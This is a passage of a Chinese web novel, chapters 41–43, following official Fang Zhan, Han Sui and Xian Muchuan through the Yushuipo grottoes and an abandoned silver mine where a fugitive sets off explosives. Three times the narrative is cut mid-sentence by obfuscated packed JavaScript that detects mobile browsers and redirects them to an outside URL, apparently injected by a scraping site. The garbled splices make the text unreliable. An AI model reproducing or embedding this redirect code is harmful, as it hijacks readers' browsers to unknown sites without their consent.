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“榆水坡的山洞?可是被抓万顺镖局的人所说的,张金龙每月赴西山银矿‘取货’之地?”方湛慢悠悠朗声发问。 “正是,大人何妨借此次出城,前往榆水坡亲自审问罪吏尤谨?” “算了,此行本是为陪同冼少监礼佛祈福,顺便瞻仰云州佛窟圣迹,怎好中途独自离开?叫你手下看好人,本官明日再去罢。” 殿外悬空楼梯上,往来穿行的路人只顾脚下陡直阶梯,谁也不曾分心去留意那倚在殿门角落歇脚的男人,为何忽然起身奔下楼阁仓惶而去。 那人下楼后不久,殿内又走出一名络腮胡子的男子,无声无息地尾随在后,跟出寺庙院门,一直跟到位于北边叶阳山深处的榆水坡下。 裘明眼看那人沿着山路翻过山坡拐进密林,随后在一处佛窟外鬼鬼祟祟徘徊。人一进洞,他便下令给随行暗卫,出手将其一举拿下。 一番快速审问后获知,此人正是张金龙派出跟踪方湛一行的镖局之人,因意外偷听到小吏尤谨不仅没死,还被官府擒拿在榆水坡洞窟中,顾不上别的,慌忙跑来此地确认真假,刚好中了方湛的圈套。 事了后,裘明飞马奔回灵岩寺,将情况一五一十汇报与方湛。 若说离京前他尚对圣上挑选的这位年轻儒官心存几分质疑,及至此刻,任何疑虑都已消失殆尽,取而代之的只有信服。 “大人简直是包公再世,如此不仅擒住了跟踪者,更是确认了罪吏所说山洞位置,好个一箭双雕!” “只抓到一个小喽啰而已,远未到喝彩的时候,”方湛古井无波,“人既是张金龙派来的,那他可知晓张在何处?” 裘明凝色道:“那心腹不过泛泛之辈,才剁他一根手指头就什么都招了。据说,叶阳县公廨大火之后,张金龙借口走镖,出城前往定州避风头,得知圣上派巡按御史至云州,又乔装成行商,带了两个心腹匆匆赶回,就落脚灵岩寺中。” “灵岩寺?”方湛诧异,怪不得玄英卫翻遍城内城外都无所获,原是人躲进了佛庙! “正是此地,张金龙以化名住在寺庙后院,据那心腹说,他几次入城活动,看到府衙正大张旗鼓地抓他,得知事情败露,便跑进山里躲起来了。” 方湛面色沉凝:“看来这西山是非进不可了。” 41. 榆水坡(二) 午时的日光穿过洞窗洒进佛窟内,为窟壁上雕凿而出的檐柱与佛龛笼下明朗辉照。洞中矗立一尊高约三丈的庞然佛像,体态健实古朴,面目慈悲庄穆。置身窟中,一股浑厚的历史沧桑与神圣之感撼人心魄。 僧人讲述着云州佛窟的来历,虽说没人比韩穗更了解这些,但她仍静静听着。至于冼牧川,除却一进窟时的由衷赞叹,很快便跑了神,满脑子全是楚因因三个字。 好不容易等那僧人说完,他迫不及待地将韩穗拉到一边:“哎,因因到底来云州干嘛了,你还没告诉我呢。” 韩穗微不可察地弯了弯唇角:“自然是来看望与她分别多年的好友我咯。” “好姐姐,多说点,”冼牧川一改此前倨傲态度,好声好气地哄道,“譬如她来云州吃了什么、去了何地、有什么喜好、有什么不悦?” “你打听这些做什么?”韩穗觉得好笑。 这时小厮昌乐忽然冒出来晒笑道:“嘿嘿,我家公子倾慕因因姑娘,此前在上京,曾一掷千金只为与她见面,谁知见了面没说几句,就被因因姑娘嫌弃话不投机。如今知道了韩小姐与她是好友,可不得多打听些,知己知彼百战不殆呗!” “就你话多!一边去!”被戳破惨事的冼牧川狠狠敲了昌乐一扇柄。 骂退小厮后,他转身,蓦地对韩穗行了个大礼:“在下此前对韩姑娘言语多有冒犯,还望见谅海涵。”他抬首,俊美无俦的一张脸笑起来灿若桃花:“韩姑娘这次可一定要帮我啊。” 韩穗在心中冷笑,想不到这还是位能屈能伸的人才。她假装受礼若惊:“当不起冼公子的大礼,若你是真心倾慕因因,她的事我告诉你些倒也无妨。” “自然真心!”发誓赌咒可是纨绔子弟在女人面前的家常便饭。 韩穗假装回忆思考:“因因这次来找我,别的倒还好说,没什么特别的,只她来云州原是为了寻祖迹,可惜未能得偿所愿,可算一件憾事。” “奇了,因因不是苏州人么,为何到这儿寻祖?” “这你就有所不知了,她虽出身教坊,祖上原来也是官宦人家,其曾祖父是前朝的戍边大员,曾在云州西山为家族供养开窟,因因这次来云州正是想找到此洞窟祭拜,以告其脱籍一事。” “只可惜,楚家的石窟位于榆水坡,那里距离西山银矿很近,今年春矿洞坍塌后,附近山体不稳,听说石窟也塌了几个,家父恐有危险劝说阻拦,我二人便未能去成。” 韩穗目露神伤,望着远山失落道:“因因离开云州时,颇为伤怀,毕竟此去再回云州的可能不大了,怕是祭祖一事终成憾事。” 冼牧川听罢陷入沉默,忽然他拍着胸脯道:“这有什么,我替因因去找那石窟!” 上套了,韩穗心中一喜,但面色如常:“冼公子不是要去冬猎么?” “冬猎哪有帮心上人了却遗憾重要!”冼牧川如是说,又问:“那榆水坡离这儿远么?” “远是不远,只是矿难中死了很多人,附近山民都说那里冤魂不散,大白天都闹鬼,冼公子难道不怕?” “嗐,这世上有没有鬼还两说呢,”冼七公子邪魅一笑,“要紧的是,为美人做事越是困难多,就越值得做。” 韩穗在心中翻了个大白眼,但面上仍装出恍然大悟、醍醐灌顶的样子。 冼牧川得意洋洋:“别愣着了,赶紧走吧,叫上明渊兄,一起去。” 瞧他兴致勃勃地往山下去,韩穗却暗暗叹气——总算搞定一个,还有另一个更棘手的。 然而直到几人下山返回寺院,都未见方湛踪影。他们猜其或许已返回寮舍,然而那里也空无一人。 冼牧川叫昌乐出门再找找,谁知门外突然闪出一名便装的玄英卫来,上前禀告方湛因有公事需离开寺院一段时间,留言让他们在此等候,不得乱跑。 冼牧川一听不干了,他此刻热血上头,谁也不能阻止他去榆水坡替楚因因完成心头遗憾的大事。然而那护卫只认方湛下的命令,誓死对这一屋子人的安危负责。 “搅了我的好事,你有九个脑袋都保不住!”面对“死脑筋”的护卫,他骂道,“方大人叫你守护我们的安全,没让你囚禁我们吧,真是死心眼,我们去哪儿你跟着不就成了!” 迫于洗七爷的淫威,护卫最终还是妥协了,一行人驾车驭马离开灵岩寺,沿着颠簸山路直往西山深处的榆水坡而去。 约莫两刻钟功夫后,马车在一处山道前急急停下,再往前便是窄梯陡阶,众人只好停车栓马,改为步行。 韩穗翻出地图,此处她也是第一次来,并不知晓石窟的确切位置。“应该就是走这条路,”她低头看地图,口中嘟囔着,“师父好像说过,得先找到一片桑树林中的坟地,坟地以西就是石窟所在。” “坟地?”冼牧川炸毛似地嚷道。 “怎么,这就害怕了?现在回去也还来得及。”韩穗斜睨着他道。 冼牧川正了正身,摆出浑不在意的样子:“青天白日的,有何可怕的。” 韩穗瞧他外刚内虚,只笑不语,随即专心寻起石窟来。 步行不多时,前方道旁出现一片密林。冬日枝干光秃,林间地上突起的一个个土包便也显露可见。这里原是山下一个家族的坟地,后因族人凋零,便成了荒冢。 众人绕开坟堆,穿过桑林。渐渐地,能看见远处山崖矗立,正面凸出一块高约三丈的丘石,石面上窟洞一字排开。 “找到了,应该就是那儿了。”韩穗欣然指道。 冼牧川循看过去,只见那排石窟已有半数颓塌,一派破庙残窟、荒冢凄凉的景象,直叫他脊背发凉。 正在心中打退堂鼓,头顶上忽传来窸窣细响,似有枝条抽动,他冷不防抬头,只见一团黑影从天而降! 冼牧川头皮发麻,失声嘶喊:“鬼啊——” 冼牧川这一嗓子震得林上乌鸦乱飞,嘶叫声与拍翅声回响不绝,为这诡异之处愈添凄厉。 他几乎是弹跳着抱上树干,闭起眼叫嚷:“别来找我别来找我,我可没干过亏心事啊.…...” 这一切发生得太过突然,韩穗来不及回神,只觉一道寒光从眼前闪过,随即脖根凉意抵近。 她侧眸一看,一把明晃晃的长刀正架自己脖子上。 说时迟那时快,铛的一声那刀被挑飞出去,身后一个快影蹿出,将持刀人逼到远处。双方你格我挡,过了几招后突然发觉对方很是眼熟,急急止戈,面面相觑。 此时韩穗也看清了双方腰间悬挂的玄英卫手牌,慌忙提示:“误会了,都是自己人!” 两下表明为何会在此地后,这才弄明白,方湛此前留言说有公事处置,居然来的也是榆水坡!而那位“从天而降”的玄英卫,则是奉命在此望风,防止闲杂人靠前打扰的。 冼牧川不知何时已放开了树干,正了正衣襟,清嗓道:“瞧瞧,这府衙的公务都追到这儿来了,巧了,本公子也是圣上钦派的官员,有什么公事是本少监不能知道的啊?” 那护卫被问得哑口无言,韩穗适时上前行礼道:“在下乃云州府衙韩通判之女,陪同冼少监来此处观赏石窟的,你放心好了,必不会打扰方大人办要事。” “嗯哼,正是。”洗牧川拖着长声,摆出一副“你瞧着办”的神情。 护卫迟疑片刻,终道:“方大人此刻正在树林以西的巨石后审人,两位贵人莫去打扰便是。” 于是再一次多亏了冼某人胡搅蛮缠及其皇亲国戚的身份,韩穗得以绕过玄英卫的阻拦,得偿所愿地迈进榆水坡。 几人近前观窟,石窟的坍塌部分更显颓败荒凉。冼牧川丧气道:“这还有进的必要么,我看也别冒险进窟了,反正你能确定楚家供养的佛窟就在这一片,直接在外头点香拜告得了。” “你若觉得危险,在外头等我就是。”说完,韩穗头也不回地朝石窟走去,只留冼牧川在后面被动道:“哎哎,说的好像谁怕了似的,等等我!” 这边华叔已燃起火把,挑了一个坚固完好的石窟打头进去,确认里头无甚危险,才叫其余人来。 此洞并无明窗,内里光线晦暗,在火光的照明下,洞壁上的精美浮雕徐徐呈现,雕刻彩绘的重层高塔饰有帷帐流苏,塔中龛内大小佛像纲举目张,每个神像面容都带着极乐世界的微笑。 火把高举,众人仰头,只见窟顶繁复华丽,井心雕有团莲,拱上飞天伎乐成双成对,手持胡人乐器,飞动飘逸,栩栩如生。 若说灵岩寺那尊沐在日光下的大佛叫人心生畏慕,那眼前的景象则让人怀疑已然身处梦幻佛国。 冼牧川还在目瞪口呆时,韩穗早已回过神来,从挎包中掏出纸笔,淡定道:“家族洞窟不会太大,数佛像的事简单,就交给你与昌乐,我来记录窟内浮雕壁画的内容。” “等等,”冼牧川把久仰的脖子给正过来,“咱们不是来找楚家祖迹,顺便替因因拜告其脱籍一事的么?” “你听我的准没错,”韩穗忽悠道,“你把楚家洞窟情况了解得越细致,越能显出诚心,将来见到因因时,你能借此事说的就越多,与她相处的时间也就能越长。” 也不知是楚因因魔力太大,还是方湛对冼牧川心思纯正的评价中肯,总之他听了此话,乖乖卷高袖子、束起衣摆,仰头瞪眼地挨个数起数来。 几人配合着,没用多久就完成了对第一个石窟的记录。 转场下一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194641|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石窟时,韩穗不由自主瞥向密林旁一个隐蔽角落,那里跪着一个被五花大绑、垂头丧气的汉子,左右两侧是押解之人,对面则立着一名男子,侧颜神情凝厉,身姿挺拔如竹,正是方湛。 看样子,他正在审问被绑之人。 心中浮起一层疑惑,她忍不住回想这一路,一切如常无异,他又是何时何地抓了个人犯? 正出神,视线中忽搅入一只上下乱舞的手。“喂,看太久了,小心看进眼里拔不出来!” 韩穗给了那手的主人一记眼刀子,便往前走。冼牧川也不恼,在她身后跟着:“明渊兄玉树临风,又是朝堂翘楚,虽说风流方面比本公子略逊色,但他站在哪儿,都是耀目的存在,你忍不住想看他也正常。” “哦。”韩穗心无旁骛地走进另一个石窟。 “哎呀,别说你了,就连才貌冠绝京华的平阳郡主,都想方设法通过我制造与明渊兄的偶遇,只为能与他说上两句话。还有那些尚书啊侯爷啊,家中有待嫁女的,一下了朝就把他围起来,宴席雅集邀约不断呐……” 冼牧川喋喋不休,时不时觑看韩穗的反应,然而后者脸上除了勘窟的专注,再找不出旁的波动。 此时她身处的石窟又是一个精美华丽的佛国世界,与之前那个不同的是,此窟结构原本应是双殿,只是连接两室的甬道被一块巨石堵上了,她觉得奇怪,但又猜不出阻隔的原因,便也不再多想。 勘窟结束后,她收好笔墨册子,带大家往外走去。 快到洞口时,众人脚下嗖地蹿过去一只什么野物,吓得昌乐一个趔趄扑倒在地,手中火把也被摔掷出去。 同样被吓一跳的冼牧川骂骂咧咧,昌乐顾不上起身就连连请罪。韩穗稳定了心神,因看不过去,上前扶起昌乐,又蹲下捡那掉到地上却依然未灭的火把。 火团不旺,但刚好照亮了壁脚一块石砖。 韩穗拾起火把,抬身至一半,忽然蹙了蹙眉,又蹲了回去,盯着那块石砖若有所思。 “哎哟祖宗,别看了,赶紧走吧,指不定一会儿又从哪儿窜出个什么玩意儿来!”冼牧川此刻恨不得立即打道回府。 然而韩穗不仅充耳不闻,还开始举着火把四处寻看。 “怪人,管不了她了!”冼牧川甩袖,带着昌乐先行扯呼了。 只剩华叔紧紧跟在韩穗身后,关切问道:“小姐可是发现什么了?” “奇怪,”韩穗不解道,“石窟开凿是在整块巨石上操作的,用不到砖块,为何唯独此处砌了一块石砖呢?” 华叔也蹲下去观察,只见砖块两掌见方,砌在壁上倒也平整,但四周明显有缝隙。他从腰间抽出一把小刀,插入缝隙,原本只是想试一试,谁知那砖块就被一点点往外撬了出来。 砖后有个凹洞,洞并不算深,因此韩穗一眼便瞧见里头躺着个麻布袋子。她取出布袋打开,内里竟装着一本薄薄的纸簿。 正要打开,眼前出现一只修长好看的手。“给我吧。”身后响起那个熟悉的清朗嗓音。 韩穗没多想,顺手将纸簿递交出去。 她起身,偷偷瞪了眼那张棱角分明的面孔,心道这人是故意练就了走路不出声的本事吗? 可惜方湛并未感受到她的不满,注意力全部放在手中纸簿上,且眉间愈渐凝重。 韩穗好奇问道:“这簿子上写的什么?” 方湛未答,反问她找到簿子的经过。她如实讲述,却见他脸色愈沉。 “此窟你已看过了?” 韩穗点头。 “有无发现一些异常之处,就好比这本隐藏在石砖后面的簿子。” 她迟疑,忽想起那处被堵起来的甬道:“有个地方不知道算不算异常,你跟我去看看罢。” 三人便往洞窟深处走去,来到被大小石块塞满的甬道口前,韩穗说出自己心中疑惑。 “其实佛窟内有前后或左右双殿是很正常的,但我从未遇到将甬道堵起来的情况,不过也可能是我多想了,说不定就是当时的工匠做双窟做到一半改主意了而已。” “你没有多想,”方湛将火把贴上前,映出石块的状态,“你看,这些堵住甬道的石头呈青灰深色,与整个石窟的黄白砂岩质地不同,应是有人从别处运来堵上的。” “啊?那人为什么要这样做?”韩穗有些匪夷所思。 不等方湛回答,洞外似乎有阵阵焦急的喊叫声传来。韩穗静听,率先反应过来:“好像是昌乐的声音!” 三人顾不上什么甬道的古怪,快步走出洞窟,果然瞧见不远处昌乐正慌里慌张地往这边跑来,边跑边失声喊道:“不好了不好了,方大人救命啊,出大事儿了,我家公子不见了!” 42. 榆水坡(三) 话说冼牧川带昌乐出洞窟后,越回想越觉得刚才从他们脚底蹿过去的是只野猫,可昌乐却一口咬定是只黄皮子。 二人为此争执不下,想来那野物就在附近活动,横竖也是闲着,一拍脑门决定去搜找出来,有坟冢的那边自然不敢惊动,便往相反的方向找去。 主仆俩边玩边走,不知不觉来到一大片半人高的枯草丛中。冼牧川忽来尿意,便叫昌乐走远点帮他放风,防止那位虎了吧唧的韩姑娘出来找不见人,寻他寻到跟前儿来。 昌乐自是照做,可等了好久也没见公子从草里出来,他有些不放心,便钻回去瞧怎么回事儿。 这一瞧不要紧,偌大一片草荡中,除了他,哪里还有第二个人影儿? 他扯起嗓子呼喊,直到喊得山鸟飞尽都没有人应答,一下子就慌了神,连滚带爬地跑回石窟找方大人求助。 方湛问清经过,当即叫他带路,一行人奔至冼牧川失踪之处。 这一片不知名的枯草软且韧,人踩踏上去很容易留痕,虽然此前昌乐为了寻人已将四周踩得乱七八糟,但方湛还是很快从中分辨出冼牧川消失的去向。 他沿迹追踪至一处矮山下,再往上,便要翻越山头了。 “看足迹,应是有一人趁其不备,将他强行带走了。” 昌乐一听,双腿骤软,绝望地一屁股坐到地上:“完了,公子被人牙子拐了,我这条小命也不用留了!” “人牙子怎会来这种前不着村后不着店的地方?”韩穗亦心急如焚,但头脑尚能冷静思考。 方湛眸光一沉,问:“这山中可有山匪?” “从未听说,”韩穗边想边道,“况且这里原是官家采矿禁区,曾有驻军在,哪里会有山匪呢!” 既不是拐人,也非为索财,而冼家在云州并无仇敌…… 他迅速在脑中一一排除,只剩最后一个可能——掳走冼牧川之人,是冲他来的。 人命关天,耽误不得。由于负责押解人犯的玄英卫皆已回城,方湛只能先叫与韩穗同行的护卫速去找驻于城外的沈参领搬救兵。 他命昌乐同自己前去寻人,最后才安排华叔先行带韩穗回城。 “我与你们一同去!”韩穗提起裙摆就往土坡上迈,却被方湛喝止道:“不可!你去非但帮不上忙,还会成为我的拖累。” “好吧,”她迈出去的腿立马收回,“那我回城去府衙找我爹,带官兵来帮忙。” “也不行,”方湛干脆对华叔交代,“劳烦华叔直接送她回家,万不可去府衙中露面,若有人问起今日之事,只说回途中我与冼少监有事,叫你们先返回的,记住,你们从未来过榆水坡。” 华叔虽不懂如此安排的缘由,但却意识到此地不宜久留了,郑重点头,催促着韩穗赶紧离开。 二人拨开草丛往回走,至冼牧川出事地点时,韩穗忍不住停下回头。 不远处,方湛与昌乐的背影正消失在土坡之后,原本高悬中天的那枚日晕不知何时已偏西而去。 见其停下,华叔生怕她又想跟去寻人,急忙劝道:“小姐快走吧,既然方大人叫咱们别管这事儿了,咱们就听话,先回家去吧!” 韩穗倒真没想留下,点点头,心事重重地跟在华叔身后,走出那片枯草场。 回到石窟附近时,天光已渐渐收敛起芒亮,林间树枝上密密麻麻全是乌沉沉的鸦雀。 华叔深知冬日天短,便叫韩穗原地待着,他则返回洞窟取火把,以备路上照明有需。韩穗却紧跟在他身后,终是忍不住将一路纠结说出:“华叔可知方湛为何不让你我回去报官?” “冼家备受圣上器重,而冼牧川又是贵妃最疼爱的娘家子侄,他若有个三长两短,怕是今日陪他来榆水坡的人都难逃罪责。方湛不让你我去报官,还要我们假装不知冼公子失踪,应是想将韩家从此事中择出去。” 华叔恍然大悟:“方大人这是在为韩家着想!” “只怕他这个法子作用有限,”韩穗忧心忡忡,“万一冼牧川出事,到时候雷霆震怒,我这个与他一同出城的,怎么狡辩也撇不清关系。更何况,他是因为我才来榆水坡的,我不能只顾自保,见死不救。” 经她这么一说,华叔开始有些六神无主:“这,这可如何是好?” 韩穗心里飞速盘算,留下找人并不可取,这片山区地形她并不熟悉,万一帮忙不成反把自己弄丢了,岂不是添乱。若是回城报官搬救兵,一来一回耽搁时间又过长…… 正左右为难,耳边忽捕捉到几声异响,再仔细听,像是石块落地的声音,那动静就从华叔身后的洞窟里传来。 荒郊野岭,除了风穿林的瑟瑟声,这响动一下又一下,格外清晰又悚然。 二人面面相觑,华叔毫不迟疑地从靴筒中抽出一把短柄刀,叫韩穗原地别动,自己则吹亮火折子,大着胆子摸进传出声响的石窟内。 韩穗独自等在洞外,紧张得直搓衣角,从未感觉时间会流逝得如此缓慢,不知过了多久,那石头落地的碎响戛然而止,她立时屏息凝神,试图分辨里面之人是否遇到了危险。 就在她忍不住要冲进去之际,窟中蓦地传出华叔的呼喊:“小姐,快进来搭把手!” 韩穗立时燃起火把入洞,很快便在石窟最深处发现了华叔。 “当心脚下!”他急急出声提醒。 她这才留意到,华叔所站之处,地上散落着一块块大小不一的石头。她心中疑惑,一抬头,借着火光赫然瞧见窟壁上有个大洞,洞口竟“搭”着个人! 说“搭”,只因那人面朝下趴在洞口下缘,露在洞外的上半身无力地耷垂下去,看起来毫无生气。 “小姐快来帮我一把,把他后半截身子给拖出来。” 韩穗从震惊中猛然回醒,只见华叔早已钻到那人底下,做出将其背在身后的准备。 她赶紧上前,与华叔合力将人使劲拽出,等他背好了人,这才回头,发现那“洞”竟是先前被石块堵起的甬道!只不过底下还有半人高的石头没来得及被推开。 “这人是谁啊?”韩穗满脑子疑问,最终挑了个紧要的问道。 华叔背上人就往外走:“唉,这不是郭家那个失踪好久的郭大牛么!” “郭大牛?他怎么会在这儿?” “恐怕只有他醒了才能知道了,先救人要紧。” 韩穗便不再言语,举火把照亮,帮着华叔将人背出洞窟。借着外头天光,她看清那人果然是郭品兰的堂哥郭大牛,不知经历了什么,脸青唇白,骨瘦如柴,已是奄奄一息。 华叔将人放平,摸了摸脉象:“饥寒交迫致使虚弱,又不知受了什么惊吓,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202027|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成这样的。” 此时郭大牛慢慢睁开眼睛,待看清身边人后,却没有流露出韩穗所预想的激动惊喜,反而惊恐地抬手指向洞窟,口里断断续续说着什么。 华叔俯身去听,转述道:“他说洞里有人追杀他,要我们救他。”他又问:“什么人追杀你?” “张....张金龙。” “张金龙?可是万顺镖局的张金龙?”韩穗讶然,张金龙眼下已被官府判定为毒杀刘百盛的凶手,正满城风雨地被追缉,难不成他人就躲在这里? 郭大牛虚弱地点头。可她又有一处想不通:“可那石窟就那么大,我们发现你的时候,并未看到其他人。” “石窟后面……有通道,连着……矿……矿洞,我藏……在那里,看见……张金龙……抗进去一个人,我……被他发现,他就……就要杀我,我逃……” “张金龙抗进去一个人?”韩穗惊诧,不敢置信地试探问道:“可是一个穿白衣、戴金冠的公子?” 郭大牛想了想,吃力点头。 得到确认,她登时站起身,情绪激动道:“华叔,他看到的绝对是冼牧川,我们得赶紧进去救他!” 然而一只手却紧紧拽住她的群摆,郭大牛用尽力气阻拦道:“别……别去,他有刀……” 经这么一提醒,华叔想起来:“听说那姓张的勇猛凶残,身手了得,眼下又是逃窜的人犯,穷途末路,你我去了就是送死!” 韩穗望向石窟背后那峰屏岭障,茫茫山野,不见人影。华叔说的是无可辩驳的事实,可方湛与昌乐二人也不是张金龙的对手。 心思急转,她猛然想到一个可求救的地方——灵岩寺。灵岩寺距离此地不算太远,快马加鞭不用两刻钟就能到,而且寺中有武僧。 她将此法告诉华叔,后者也甚赞成,同时还能以最快的速度使郭大牛得到医治。 二人说定后立时动身,将郭大牛带出密林,沿山路回到来时栓停马车的禁障处。 然而意外还是发生了。 还未上车,三人身后就传来一声沉闷巨响。 那响声似是从密林之后的远方传来,震山动地,惊起林间一片鸟雀。 受到惊吓的马儿在近旁嘶鸣扬蹄,将懵愣中的三人拉回当下。 “……什么动静?”韩穗好不容易找回自己的声音。 郭大牛睁开眼,有气无力道:“矿洞……有……有炸药……” 待意识到这话的言外之意,韩穗霎时脸色惨白,说不出一个字来。 “快,咱们得赶紧上车,立刻去灵岩寺喊人来救人!”华叔让韩穗扶住郭大牛,勉强拉住缰绳,爬上马车,制住焦躁不安的马儿。 马车平稳后,他在费劲地将李大牛弄进车厢,随后回身准备拉站在车下的韩穗上来。可韩穗并不伸手去攀他的胳膊借力,而是先将身上挎包摘了下来。 华叔正疑惑,却见她双手抡起挎包,狠狠地朝马屁股上甩去。 说时迟那时快,不待车上人反应过来,身前马儿吃痛长鸣一声,风驰电掣般狂奔了出去。 华叔极力收缰想勒停马车,然而那马原本就因爆炸巨响狂躁不安,此刻如同发了疯般冲下山路。 惊慌失措中,他听到车后传来韩穗的喊声:“一定要把人带来,越多越好,我在这里等着!” 43. 矿洞惊魂(一) 话分两头,就在韩穗与华叔意外救下失踪已久的郭大牛时,方湛与昌乐循迹翻越至一座山冈脚下。 留在土坡上的足印戛然而止,再往前便是山石重叠、荒岭野崖,连动物踪迹都不见一点儿,又何来人影? 昌乐丧气问道:“方大人,这可咋找啊?” 方湛环顾四周,由于冬日植被稀疏光秃,视线掠到之处一览无余,此处很难藏身,而左右两侧皆是嶙峋高峰,劫人者除非是猿猴,否则无法攀援上去。 如此,冼牧川被劫持而去的方向便只剩一个——山冈另一侧。 方湛撩起衣摆掖进腰带,伸脚去踩凸起的山石,试了试牢靠程度,毫不犹豫地往山冈顶上攀去。 昌乐见状亦不敢耽误,紧随其后。然而比不得方湛的身手,他才爬到一半就手软腿酸,刚倚在石头上想先歇口气,就听得方湛在前头喊他,只好咬咬牙,手脚并用地爬过去。 山冈不算高,却到处长有荆棘,此刻方湛便蹲在一丛荆棘旁,蹙眉盯看着挂在上头的一块碎布片。 昌乐近前,一眼便认出那布料暗纹,趴跪在地上激动道:“这是我家七爷!七爷今日穿的就是这个衣料!” 听此,方湛更加确认此前的推断,当即起身,以最快速度登至冈顶。 乍然居高望远,眼前景象着实叫他愣了一瞬,蓦然想起韩穗说的,榆水坡与矿区仅一峰之隔。 追跟过来的昌乐也兀地止步,望着从脚下一直延伸出百丈远的矿坑,目瞪口呆:“这、这是西山银矿?” 寒风猎猎,急劲地从四面八方刮来,方湛微眯双眼,心下凛然。 想不到他在云州所为居然将对方迫至如此亡命之径,居然胆敢把御派钦官劫掳至禁矿废区! 然而比胆量,他方湛可从未输过。 “走,下去找人。”他沉着道。 二人沿缓坡而下,入目皆是废井遗巷,青灰色山体围拢着巨大的矿坑,坑底炼渣堆积成山,焚烧的炉坑落满碎石。 坑底还算平坦开阔,并不好藏人,方湛略一环视,便锁定了矿坑边缘一片破败的搭棚。 此处原本是矿工休息地,简陋棚舍经过风雨摧残后愈加不堪,他二人分头行动,穿梭其中,很快便发现人并不在此处。 就在方湛移目望向坑壁一个个幽深矿洞之时,身后传来昌乐急切的呼喊。 他循声跑去,见其站在一个狭,长的洞口前,手中举着一只筒靴,向他激动喊道:“方大人,这是七爷的靴子,小的在洞口发现的,七爷定是被歹人绑进这洞里了!” 说着,他手忙脚乱地从腰袋里找出火折子,吹亮后就往洞里钻,全然不顾身后方湛发出的连声警告。 即便此刻方湛有万分笃定这是一个陷阱,但也已别无他选,只能跟从入洞。 洞内一片黢黑,在昌乐手中微火映出的方寸视野中,洞壁凹凸碻磝,脚下乱石崎岖。越往里走,洞道愈加狭窄低矮,二人不得不弯腰前行,及至有阵阵阴风吹来时,周遭逼仄之感忽然消失,似乎进入了一处极为宽阔的洞室。 此时昌乐手中的火折子几近熄灭,正无措,方湛忽递来一盏油灯。 “大人从哪儿得的油灯?” “地上捡的。” “啊?” 昌乐的疑问在灯被点亮后随即得到了答案。 只见二人脚边不远处,枯草垛上摊放着褴褛被褥,大大小小盛水的瓶罐摆在熄灭的火堆旁,而那盏油灯也正是方湛从此处捡起的。 方湛伸手试探灰烬,发现余温尚在,看来银矿被禁停后仍有人在这儿生活,且此人刚离开不久。 难道这里就是张金龙的藏身地? 心有疑惑,他提灯欲探查整个穴室,目光梭巡过一个个不知通往何处的黢黑孔洞时,猛然看见似乎有人倒在一处洞口前。 他与昌乐连忙上前,待看清那人白皙面容后,昌乐哇地一声哭出来:“公子啊,七爷啊,你死了,我也活不成了……” 方湛探过冼牧川的鼻息与脉搏,皱眉喝止道:“没死呢,只是晕了,赶紧先把他背出去!” 昌乐一听,顾不及庆幸,胡乱抹了把脸上的鼻涕泪水,背起自家公子就往外走。 二人一个打灯一个背人,好不容易钻出来时狭窄的通道,能够伸直腰走了,渐渐地却嗅到一股呛鼻的气味。 昌乐吸了吸鼻子:“大人,小的怎的好像闻到放烟花的味儿了?” 烟花?方湛心中一凛,被废弃的矿洞内烟花是不可能有的,但开矿用的炸药却极有可能残留。 电石火光之间,忽见前方一片漆黑中烁跃着一簇极速蹿动的火花,方湛瞬间意识到自己的猜测成真,竭力将昌乐拉拽至自己身后,大叫一声:“快往回跑!” 昌乐还未回过神来就已被强行推出去,刚跑了几步,就听身后一声巨响震耳欲聋。 顷刻间地动山摇,巨石塌落,扬尘与碎石齐飞,一股从后而来的冲击力将人甩扑出去,昌乐重重砸地,耳边嗡鸣不止,大脑一片空白,但意识却清晰地告诉自己,完了,这辈子就交代在这洞里了。 山崩地裂似的坍塌却很快就停止,待一切归于平静,紧闭双眼等死的昌乐似乎听到身侧有人在叫他。 他猜是黑白无常来接自己了,迷糊中问道:“有轿子吗?我得坐轿子走。” “什么乱七八糟的,昌乐!”一个巴掌清脆地拍向他面中,昌乐一个激灵爬起身,只见明晃晃的油灯旁现出极不耐烦和极其担忧的两张脸。 “七爷?方大人?” 就在他搞不清这是阴间还是阳间的时候,只听方湛松了口气道:“没事就好。” 原来,那炸药虽猛,却威力有限,再加上此段洞道逼仄反而稳固,只有部分风化的碎石剥落,三人便幸运地逃过一劫。 不仅如此,原本昏晕的冼牧川甚至因此番巨大的动静而苏醒过来,睁眼就看到方湛那张令人心安的面孔,惊喜地以为自己被营救成功了。 然而紧接着,他就意识到,营救是营救了,但离成功似乎更远了。 确认三人均未受伤后,方湛便提灯检查爆炸过后的洞中情况,最终失望发现,通往外界的洞口已被炸毁,坍塌的巨石将出口堵得严严实实! 得知此噩耗,冼牧川顿时心如死灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的老天爷,”冼牧川大为崩溃,“方大人啊方大人,这都什么时候了,你不赶紧想想怎么带哥儿几个逃出去,竟然还想着查案?” “若刚才那炸药是他亲自点的,”方湛思忖道,“那这会儿人应该还未走远,我们得抓紧时间出去,晚了就叫他逃了!” 冼牧川接话:“行,甭管因为啥,反正得先出去,大家都赶紧想想办法吧!” 